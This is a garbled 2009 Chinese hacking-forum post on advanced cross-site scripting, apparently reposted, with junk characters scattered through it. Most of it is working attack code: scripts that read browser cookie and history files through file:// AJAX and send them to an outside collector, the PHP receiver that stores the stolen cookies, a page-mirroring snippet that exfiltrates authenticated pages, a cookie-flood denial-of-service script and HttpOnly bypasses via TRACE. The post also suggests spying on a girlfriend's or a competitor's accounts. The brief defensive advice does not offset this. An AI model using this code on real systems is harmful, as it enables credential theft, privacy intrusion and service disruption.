XSS的高级利用部分总结 -蠕虫

admin

XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
/ m8 f9 _) i: v本帖最后由 racle 于 2009-5-30 09:19 编辑

XSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
" c3 {+ l( J$ [1 n5 l# J- z; ?- SBy racle@tian6.com   
! u! y$ y6 z! w/ ?" T6 G" dhttp://bbs.tian6.com/thread-12711-1-1.html
转帖请保留版权
) E1 _6 T: y" P; h7 a
8 a/ d7 c2 @- z6 I, s, f

, q* W# ]4 \. @-------------------------------------------前言---------------------------------------------------------
3 }& `4 K! x5 M# X2 x

! [  H9 o6 r, n2 z本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.
; h8 u, Z$ K: |6 x; x! }

如果你还未具备基础XSS知识,以下几个文章建议拜读:
http://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/        JavaScript中文简介
5 ]9 T- M& S/ Q! ?& nhttp://www.google.com/search?q=XSS+%D3%EF%BE%E4        XSS语句大全
: p4 K! C4 A( H/ a0 B5 Qhttp://www.google.com/search?q=XSS+%C8%C6%B9%FD        XSS语句绕过
http://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt        FLASH CSRF
http://bbs.tian6.com/thread-12239-1-1.html        突破XSS字符数量限制执行任意JS代码
http://bbs.tian6.com/thread-12241-1-1.html        利用窗口引用漏洞和XSS漏洞实现浏览器劫持
" d% K# `9 ?4 |* J* d* p) L
) w8 g( J2 b! Q2 N
7 p/ P" \8 n9 A: B

如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.
9 T# c. T, n1 r1 H1 M$ e+ h6 b
希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.

$ C8 P. r- \3 j+ C) @8 a如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS    6次XSS蠕虫版本变化,
" x9 y: d' _7 f+ s! a) q
' w( \) i, x2 Y' DBaidu xss蠕虫         感染了8700多个blog.媒体影响力,关注度巨大

3 P( E3 _- }/ j# t. A0 `QQ ZONE,校内网XSS     感染过万QQ ZONE.
' F9 C  F- x* K! _6 U, _
8 s2 K5 E+ N# K4 OOWASP MYSPACE XSS蠕虫        20小时内传染一百万用户,最后导致MySpace瘫痪
9 W, O$ F) ?" d1 z; F& l2 @
..........
5 ^3 ]! d8 x( ?# E- m复制代码------------------------------------------介绍-------------------------------------------------------------
) x4 y/ J2 X$ B3 ]4 C  ~8 M; N
什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.
: ?8 O3 \9 m/ X/ K4 V5 j
0 g: g, w/ n! _" g& \
; @2 Y2 o7 V7 z3 U1 a2 R
跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息（Cookie）,由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.
' e, K. D% N. Q1 ]


如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
! p$ K& q5 V2 M* T* `, M+ Q1 F复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
我们在这里重点探讨以下几个问题:

1        通过XSS,我们能实现什么?
: o" h/ H7 K- [8 j
$ K3 m/ ~- |: Q2 q% m# }2        如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?
3 ?/ J8 H: A1 m1 K5 f0 `- V
  e# l, a3 j4 e2 k* @! d) [4 b+ I3        XSS的高级利用和高级综合型XSS蠕虫的可行性?
! v' I2 k) F9 d& M
) j4 E5 ?- Z% n. v* f. t( ?0 v4        XSS漏洞在输出和输入两个方面怎么才能避免.

: M! B) x4 Y) P% \/ X

$ g9 `' ^2 s0 N8 j" l------------------------------------------研究正题----------------------------------------------------------


! ^' L' S$ F8 s) o' M
! k, f/ e, C( ^  T通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
' N! A( Q0 \/ p复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
2 H+ m7 ?: ], j5 x# N0 o1 v1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
: i- ^- q& O3 L. V) r2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
4 ?9 g6 N, X+ G4:Http-only可以采用作为COOKIES保护方式之一.
/ y& e3 q( l" u' H

4 j% e9 \: p- X; Z
& C8 s, q  D4 z
, _9 ?8 t- c1 X5 F
# m- w5 A  [" ^# D) {8 V% R9 F(I) AJAX在不同的浏览器下的本地文件操作权限读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)

我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息:    1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的，看来MS对IE这类安全风险比较重视。(这有一些问题，随后修正!)
' b8 a6 J$ a& D5 K7 m4 H" P" Q
3 H  g- Y- a6 |8 ^( H3 u" V
# i5 Q: H: k/ k! k7 C8 N) e) Q
    2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。
* n$ h2 J! ?5 ]5 ]% \
( t4 t# n5 C0 k# D8 f
* F1 w. i, [! F
9 }+ M0 M) i, a0 |    3: opera9.64及以下版本允许通过指定url为file://协议进行访问；如果文件在当前目录下，则不需要指定file://协议；如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。
# _4 ^& P' S* H: e4 s  S


. L/ v0 |4 \% @& V+ n- G    4: 基于webkit内核：google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
复制代码IE6使用ajax读取本地文件    <script>

" j/ c  C9 F7 e# ^  `0 {& T9 m" L$ o    function $(x){return document.getElementById(x)}

0 h* m& O  Q( D! g

    function ajax_obj(){
& Q6 X% X& \, ~
    var request = false;
2 t0 O5 z6 o( Q7 n, S! i; @
3 Y& h6 {2 N) h. ]    if(window.XMLHttpRequest) {

( h7 _, r2 ~( F( P4 y    request = new XMLHttpRequest();

    } else if(window.ActiveXObject) {

" p3 _) u: V2 X  h. R    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
: F: Z% O$ t4 ]1 B& b; ?& i
7 Z+ P3 G8 f3 m2 M9 |4 t

    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
% E  g. [6 ^. S9 v
5 r: J% |6 {* F& T7 Q! P8 ^; K    for(var i=0; i<versions.length; i++) {
2 E' p. f) }3 Z- u, H
    try {
' j% Q/ o: a: M# M% |
    request = new ActiveXObject(versions);
+ k6 F& |+ a  Z% r
' S/ O: p) v# U' p$ g5 U    } catch(e) {}

$ x$ x. B( ^0 h( h# n! D    }

! v* P: F" }% z* r4 n- @& R  A    }
6 l' Y3 T/ E) a  V
/ R7 U6 \# r* S" {/ X6 h    return request;
/ k1 q0 t* u4 H2 t( A& R! |
    }
, y% D! X4 K4 g$ f
    var _x = ajax_obj();

    function _7or3(_m,action,argv){
9 y  k/ ~. p3 ?5 \8 b4 ?, I8 D
    _x.open(_m,action,false);
2 n: @9 Q. O$ Z, C- H) j% g7 U
: E( b' Z- k9 Q4 z; D7 v1 u+ D    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

    _x.send(argv);

    return _x.responseText;
3 [& a+ ^: g+ R, c7 @
    }
0 d- o. O4 K' f3 C. Z3 s

  ^4 `6 V  x: x$ V
( i% U  C3 v) F    var txt=_7or3("GET","file://localhost/C:/11.txt",null);

2 F3 m$ h0 J  k& Y3 L7 P* s  b    alert(txt);
+ B6 c9 J3 f+ H6 D

& |/ ]% Q9 w9 s* n5 j
  H/ o2 G5 k" ~+ T5 ^0 i6 ~    </script>
4 q* Z/ m) `3 |0 c. z+ s4 c复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件.    <script>
! ?/ D6 A  N- q* w- w  B
    function $(x){return document.getElementById(x)}

" T( r* c8 ~2 g4 r
' q* M& b) b4 v! c- C
    function ajax_obj(){
- F  T: @2 G2 h* J
    var request = false;
9 X& N5 T9 d  V3 G
2 f$ K6 j! M3 G) F, H/ _7 P! B    if(window.XMLHttpRequest) {
0 C5 K$ c: U4 Q/ X8 E6 h0 `  }
$ j" Z6 t7 a0 C1 ^6 X" s    request = new XMLHttpRequest();

    } else if(window.ActiveXObject) {
2 p  G5 p$ q7 B3 q  w/ m
    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
% Y: ~! z$ L0 c" L
5 `& u* {& w7 p: V* C9 |

  P' D$ ~# q, ?0 s* v, D    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
4 W7 _3 y8 B$ S/ N  m7 `
    for(var i=0; i<versions.length; i++) {
6 [0 N" j6 K0 y. G% Z
1 C& d/ |5 [" f6 p  V" f  v' d/ X4 s+ P    try {

    request = new ActiveXObject(versions);
9 o- l- G' z, g7 K  q, ?9 p. z* S
7 G+ D% v$ p3 m- i    } catch(e) {}
  U3 H% O0 l% W: P7 z! F
    }

! a0 D. r% ]4 k' N# Z    }

6 G) y; }/ |  C7 X4 y' [) a    return request;
- y1 v% W5 a  x) K; z
    }
6 t) I8 C4 }7 ?  |, p
6 J& |- e3 X1 J  \! ?  w    var _x = ajax_obj();
, U4 P  e5 }' |- Z
8 x3 r: r  n# z, e9 d    function _7or3(_m,action,argv){
  q! \) L5 }  E0 ^% z! l
    _x.open(_m,action,false);

    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

    _x.send(argv);

    return _x.responseText;

# ^5 x% _5 |0 Y& }  e9 @) c. U    }

2 X7 d2 I# Y/ w  z6 T- G

    var txt=_7or3("GET","1/11.txt",null);

. c' E( V& e% h; Y3 i    alert(txt);
  b: i9 N" \+ u6 X0 ?
$ ^. ?: A8 s# ^0 D

    </script>
9 Z: K% S1 S$ u: q1 ~% J* b复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”
/ ~" {2 Z+ n8 K5 q$ b1 Z# _
, H; W* m1 Q2 W3 c5 y9 W& s

Chrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"


, X- I; R% Q+ i+ d
; K( B, \& Z' ^; W- N. T7 ~1 n<?   
9 s* f( Q& {, I& w
/*  
4 C: Q' _! k3 _/ Q* v" }* c& ]) l7 r
  q% ~: ~( m# {     Chrome 1.0.154.53 use ajax read local txt file and upload exp  

     www.inbreak.net   

2 C/ L0 D& f( J6 V8 `7 L4 K     author voidloafer@gmail.com 2009-4-22   

     http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.  
; F7 c) Q0 l/ w7 V& ?! I, v
*/  
0 K8 d% C/ ~5 n1 D( m& F! \- Z" V: v
header("Content-Disposition: attachment;filename=kxlzx.htm");   
1 _6 i' t" Q3 B8 O0 |+ k( J
header("Content-type: application/kxlzx");   
$ d0 q8 E; s2 k: n% }& l( t
/*  
' E# ~3 P% A3 d& X) `8 z
     set header, so just download html file,and open it at local.  

*/  
- i. w- {: _* @% z# O
( F5 y$ q6 `6 g! m/ X?>   

<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method="OST">   

     <input id="input" name="cookie" value="" type="hidden">   
- s3 K8 c6 }' k5 E
) L0 ]( z# l! @. v* B* S5 E2 X- n) R</form>   
8 v# t: Y7 C) ~, a
# k  n" s5 Y5 I7 h- p" r<script>   
9 W- v: {' Z: O$ c) l
" Z# E  G/ G/ }5 U+ o* L9 ufunction doMyAjax(user)   
% z! }* }: m7 i* X
+ s+ j8 `. }% s& S{   
1 X2 g7 s% J4 y: Z, O
/ w2 S# L7 w3 x4 c( W, k6 tvar time = Math.random();   
( |6 W( ~( H+ l, B( C
! N" o. _8 ?# {; x4 [8 G8 ~5 ?/*  

/ J9 d8 [- u& dthe cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default  

. s9 W1 j- L4 n$ uand the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History  

! c0 I" B" I  D+ ~1 zand so on...  

*/  
) s* u6 W$ ]* e* M- `# K2 u* N! C
& W; V4 Z) l$ b. y# Hvar strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;   
3 ]$ m# a/ g& n% ~* t, j/ k( M
   
* b" C$ u( x9 `+ {6 ]1 W0 G
startRequest(strPer);   
! x/ l3 }6 S9 b4 ^


}   

   

function Enshellcode(txt)   

1 b4 ~- V( I, T1 u! w% S7 \{   

( a* [3 i5 H" ~' A$ ?2 q# G; T, n# Ovar url=new String(txt);   
0 @& H4 V% b3 J! d+ e! Q& q3 E
var i=0,l=0,k=0,curl="";   
; V+ q2 u9 d/ [% K/ W5 B
l= url.length;   

for(;i<l;i++){   

k=url.charCodeAt(i);   
' {. {" j& @# G
6 N8 ^3 y% R9 b' rif(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}   

if (l%2){curl+="00";}else{curl+="0000";}   

% h" G; r2 ~; X7 l  \* E- f  ?curl=curl.replace(/(..)(..)/g,"%u$2$1");   

# W' o* V5 n! N9 Q( Kreturn curl;   
% `2 d/ V+ m* b8 Y; h- Y) B2 N, V
}   

9 P9 F8 C  N  K* x   
5 R1 @' u7 \% Z0 \5 g
, K: @, T. @2 i- ^; u% y5 d+ {   

& M% p) S6 x  g9 b( E4 ~var xmlHttp;   

function createXMLHttp(){   
1 ?+ W& L7 P  Q" p' j
     if(window.XMLHttpRequest){   

xmlHttp = new XMLHttpRequest();           

3 m: p" c) m$ P     }   
4 d. i* d+ }8 m4 u4 h& H
% j& S. h" v6 s& [# @4 L     else if(window.ActiveXObject){   
: u4 z1 W* p- {! ?4 r' S, ?
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");   
4 {( k: p- R* `- E  E* _0 B  P; F
4 ]6 X+ L* ?. m: n5 v     }   

7 X. X: s+ Q# b) L5 L$ i8 k}   

, L$ G( A; ^, H, U8 l   

function startRequest(doUrl){   
' |% Z  C1 f( {; A7 j! ]7 Z
3 q+ Q1 s3 }; h0 G' Y8 u) k" n   

     createXMLHttp();   



     xmlHttp.onreadystatechange = handleStateChange;   


* g0 L5 l! q  w  m) J7 K3 f
+ A, r2 Y/ R# y; V' K  q) ]7 N     xmlHttp.open("GET", doUrl, true);   
/ ~0 k: e9 o# N% M5 h1 b- T! r4 w

4 a( s7 t) [# q( ]
     xmlHttp.send(null);   


+ Z; _( Z) {* w1 ^2 b$ r* e$ y) i$ \

) H' ?7 o5 r* h( h
& {* ^8 ?* W' ~) {" Q+ v0 S3 D' e}   

* y" @2 q0 H$ l/ }6 P% c" N   
5 m" o9 g2 ~7 _" _+ `  K& W
) y8 e7 \" T6 p9 c/ _6 d  [/ ^function handleStateChange(){   
3 s7 D& j3 U  @( v) }8 S
     if (xmlHttp.readyState == 4 ){   

& B* A6 A0 W% |- V! t     var strResponse = "";   
2 N: W+ x( |3 l( B$ ^
2 S# T# N0 s$ C* |+ j0 p     setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);   

' F4 R. |& h7 Q7 }        
, J2 n5 W2 D" ^; [8 g5 ~' R2 N
     }   
: t6 w/ E" g2 L# o: }9 O
}   

, Z+ Y6 h% M; }  U' f   

" G" [5 ]0 e9 n5 |+ r2 n4 f: l   
. Z$ p/ S. [. ]5 B* \- K
7 M# w$ J4 W  D9 \function framekxlzxPost(text)   
# @: t* @8 T% I1 y4 P
{   
, w6 v2 |' A; `' u5 k
  x% q4 j7 ^9 i# o2 Y     document.getElementById("input").value = Enshellcode(text);   

8 c% J0 y; I, Z! x5 R! }( X! ~     document.getElementById("form").submit();   

% v% G4 |7 _% ~$ e9 q- E}   

   
6 [) C3 d/ |4 m/ s
( i* k7 w$ x' PdoMyAjax("administrator");   
" \0 _1 A" C! F7 ?
   

</script>
& C2 H& a+ J& b0 R' @5 d复制代码opera 9.52使用ajax读取本地COOKIES文件<script>  
- E+ t6 p/ B& j3 R* z9 K
' }7 u" A2 n. E2 ~9 X. |var xmlHttp;  
1 `& M& p5 W8 _9 V& N
function createXMLHttp(){  

- _4 w; g( ~! \$ c* n! i- I' {     if(window.XMLHttpRequest){  
. B9 Q' Y3 F( C8 N8 J
; @: ^2 O7 o3 m6 o0 b         xmlHttp = new XMLHttpRequest();         

, U: ~  a8 D" b9 x6 Q     }  
+ o: @/ w7 k5 @- ?) l# |6 w8 Y- h2 ~
     else if(window.ActiveXObject){  

0 B' ?, h; D9 D2 S* E8 y8 V. v         xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");  
% t3 C/ x+ F/ n5 e
! t" Z- c2 O# M. b+ S* c6 b4 V3 H     }  
# m% K& c1 c* E9 X- B' P0 j: n
}  

# e8 k6 w/ Y' V9 n   
+ ?% a- A8 b' I% }, [( v+ m7 f9 ]
function startRequest(doUrl){  
) c" s' W" b1 R3 v: o% j* B) b
           
5 h+ n$ l9 z4 \
     createXMLHttp();  
# s3 _9 h) y& ~( L; W
- `% P* E/ S$ }      
0 C2 M2 u7 ~5 B# u
* }( @! y. i+ l! S/ M: S7 g     xmlHttp.onreadystatechange = handleStateChange;  

2 `3 U. I9 A# K9 X6 A      

     xmlHttp.open("GET", doUrl, true);  
9 f4 s2 E+ ^) l6 \# c: T5 n+ ?) a0 @
      
9 Y' M$ W: u2 p6 i1 c8 `2 G6 U
     xmlHttp.send(null);  
( \! L( q( b# r1 O4 A" Z
5 a/ v3 l$ S- G      
& T% I' Y6 M7 `8 ^& q( C
. K# L, o0 e9 R; k/ C2 l      

  f' ^6 g! I8 ]5 F5 J5 S}   
5 g% [5 l7 p. o* f5 Q
! l6 m% `& l- m   

function handleStateChange(){  

4 H6 V5 S$ h8 i, K- r     if (xmlHttp.readyState == 4 ){  

7 i( f# i, T$ ~. O             var strResponse = "";  
" H1 ]- P% T$ b" f3 s
/ |) c: n: ~, Y% \7 U  S             setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);   
1 v" r3 A- H- \$ r9 ?% A2 D% O
               
( y6 T! U, T* Z7 j4 A  R# u/ h
* u* g' g  J8 p8 `& m+ Z3 k1 \     }  

' X6 @& I9 T, r. j% f}  
9 [& S$ R% W4 u
   

function doMyAjax(user,file)  

{  

         var time = Math.random();  
+ w' v* [4 D& ^: `5 w# d5 \
           

         var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;  

) _" g* j' Q$ t" u           
0 v! y8 X. E6 I8 L6 t" L
         startRequest(strPer);  
3 l4 ?  ~0 j/ e7 V
1 Q7 r0 @0 p: K3 q; e5 F3 D      

8 h! W. }8 `5 @% d% b# A/ _}  
# i6 ]5 T. z" D- B
   
# _# p" I( t9 J- Y) i  A/ W2 L& ^
function framekxlzxPost(text)  

{  

: L# W; J2 ^3 M( h+ z     document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);  
$ E% _9 K2 N4 d7 [6 g* w/ e
     alert(/ok/);  
0 t, B0 f2 S, `. o4 v
. n1 M0 z/ u( r% K1 R}  
; U$ s5 V$ w- x  H& R' G$ s
   

doMyAjax('administrator','administrator@alibaba[1].txt');  
! A2 T+ O5 j% x' E$ ~
   

* r- W. k; m) z. ~. U; y1 S</script>

) v( t" z! |2 s7 j" n. H! k3 i


% |# Y* {; _' i0 x' |* U: J/ h; H0 A
a.php
1 x0 H( X- h8 k7 c! A' W


<?php      
; k+ v$ t5 j( n2 i% [  M
   

+ e3 W; J5 W5 Y7 a- w7 ^$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];  
- \8 {8 n4 P# n( Q  X  _
8 o/ U* a( q. Z& j$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];   
/ ?* k, F. o$ j6 r, W
  G, G( X* s8 L  
' d* e+ P- y$ }" T: Z- C4 p
4 R1 E+ \& O5 {0 E$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");     
; g& @: {! V: x7 G* r! N
5 ]; m8 X8 D  ?% W# }5 pfwrite($fp,$_GET["cookie"]);      
$ T; d2 L4 C- j+ t* ?# H6 _9 }
2 G& Y( h" ~* ?3 i7 l7 |fclose($fp);   

?>
复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:

  y' e0 O, n3 R" j4 |或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.
" W$ v" G0 Q; Q
代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);
6 }( L  E" X2 ^& ]- P0 y0 K( A' H
3 E( }* A* i2 a//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);

//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);
2 b% U' Y+ N9 ~& g5 F/ `
function getURL(s) {
4 Y# W9 C; k2 X0 I1 |
* b9 ?% [; H: s% b5 n. U- q2 Z3 Kvar image = new Image();

( w) I" p$ R- P* U, b4 }image.style.width = 0;

3 q5 r( o9 s0 {" }image.style.height = 0;
( I' d2 s$ X% ]9 K! D6 A
3 n0 x, a# v  Z* Q# y2 S8 R' nimage.src = s;
8 u2 p6 E# g; m! P4 Z$ b' S
}
# z3 I/ \8 E( ?& h$ E
getURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
, C: F% ]0 L7 x复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
: Y8 U; h# o/ @6 W$ [3 x: R8 N7 S+ u2 T% Z这里引用大风的一段简单代码:<script language="javascript">

# o2 G( L3 H- Z  I. j& j! }var metastr = "AAAAAAAAAA"; // 10 A

var str = "";
! m/ j: o/ [% I3 n$ ]$ I( ^0 B
while (str.length < 4000){
! f2 |! }% f7 f* ^
$ i1 M# j5 T) [    str += metastr;

. e. C* S- A5 |' u7 \}



, ]' Z1 A& l" B' A! J. O6 W3 Cdocument.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;";    // 一些老版本的webserver可能在这里还会存在XSS

" O4 q$ |/ k! D7 }& A2 M</script>

详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
server limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150

5 [* B* a; r) C6 K' s. e- Q  c假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
" ?3 P8 g+ Y1 Y) }攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.




) L& `2 S2 y7 J# Z1 i$ q6 a
  g0 D! }/ _+ `
3 V1 d6 N/ o. H( H, f(III) Http only bypass 与 补救对策:
! j; ]/ q8 [8 l7 M/ C
什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性，用以阻止客户端脚本访问Cookie.
8 b3 [8 r5 J2 d  C! u以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">
9 k, t* E' ~* o: t
<!--

function normalCookie() {
+ A$ q. r  r) Q8 v1 S# |
document.cookie = "TheCookieName=CookieValue_httpOnly";
- ]  q7 |( U. g4 P+ j& @! K
alert(document.cookie);
5 D4 l: d, L6 V  x3 k8 v
7 Y9 b* e: }1 z7 Q. L}



$ \: j$ q' }9 U: y
( k' R7 }6 g8 X+ j. ~
1 {1 ?5 a: t/ k# i% t  ?( X8 ffunction httpOnlyCookie() {
  j7 j. T( o- V) G! R8 E, \" `0 }
document.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";

% l. `: P+ H/ calert(document.cookie);}

& P6 }* a  Y& H& u- V  e

//-->
7 Y9 O7 z# B" c" y0 p: l
. `3 p# L$ ~* }</script>



4 I$ M+ s6 ^( S# R& [$ b<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>
( H6 m& \5 F6 u0 F0 i2 Q" g' O
<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
6 U' ~5 ~: f( C5 z6 Q5 z; L5 N复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>
% ?. j8 V+ k( k6 T5 ~3 ^/ ^

" `( M# M# r) G0 a9 R( P. X
var request = false;
7 G, S" p1 M  {- M7 s$ m3 H
: T7 X; b: H" I) H  ?& A1 l% z        if(window.XMLHttpRequest) {

9 S& @' X; d4 t" U            request = new XMLHttpRequest();
; ?' b/ h% u+ T0 `) E7 R
            if(request.overrideMimeType) {

                request.overrideMimeType('text/xml');

            }
0 W. @- V7 i% R& [: T7 ]6 y
7 `! R( i+ [# |" x        } else if(window.ActiveXObject) {

  B2 O% _  v  d8 q# b            var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

! m. B0 q( d, e( W            for(var i=0; i<versions.length; i++) {
3 B, T* M* m) ~9 m# \$ x6 g
" Z8 a# f8 c, F( q                try {
+ c# S9 g. h( \2 q7 a9 B7 M* R
                    request = new ActiveXObject(versions);

                } catch(e) {}
1 h7 t( A, D- ~! F  t
% o; y; Z; j5 _0 d2 p. J            }

9 \5 }$ v+ C: v, |0 M, @- `- {        }

xmlHttp=request;
- R: E3 J$ [- V6 j1 M- Q% d+ [5 A
1 L+ q( }  h- x5 {8 X# ~4 TxmlHttp.open("TRACE","http://www.vul.com",false);

xmlHttp.send(null);

xmlDoc=xmlHttp.responseText;
" X/ _/ l  b( i
alert(xmlDoc);

</script>
; d, P) b7 ^7 F# m. A) L复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>
+ R6 |7 W9 w6 P; m% ?6 i0 k
; l0 v" ~' i( Z6 h$ w7 |2 Wvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

. Y, M3 M( m+ p% GXmlHttp.open("GET","http://www.google.com",false);

XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
$ i5 o7 r0 F& h) _  b. \5 A2 z
XmlHttp.send(null);
1 v: l$ h" z7 T, Z% x0 ?
var resource=xmlHttp.responseText
0 x0 w* @1 F$ D1 ]( [5 H
resource.search(/cookies/);
- t6 l+ e8 n/ O3 {
......................
8 {2 ~1 N' s6 r& y7 b0 u7 [
</script>
. M8 Y6 G) \# H3 u8 A* j2 ^) J
3 Z7 U; b$ ~: ?



1 h8 g( g% d# P1 o如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求
. e) ?4 I$ a: |6 Y
0 `5 F5 m" \  N  H[code]
1 ]4 h$ x: b& L3 V! ?4 `
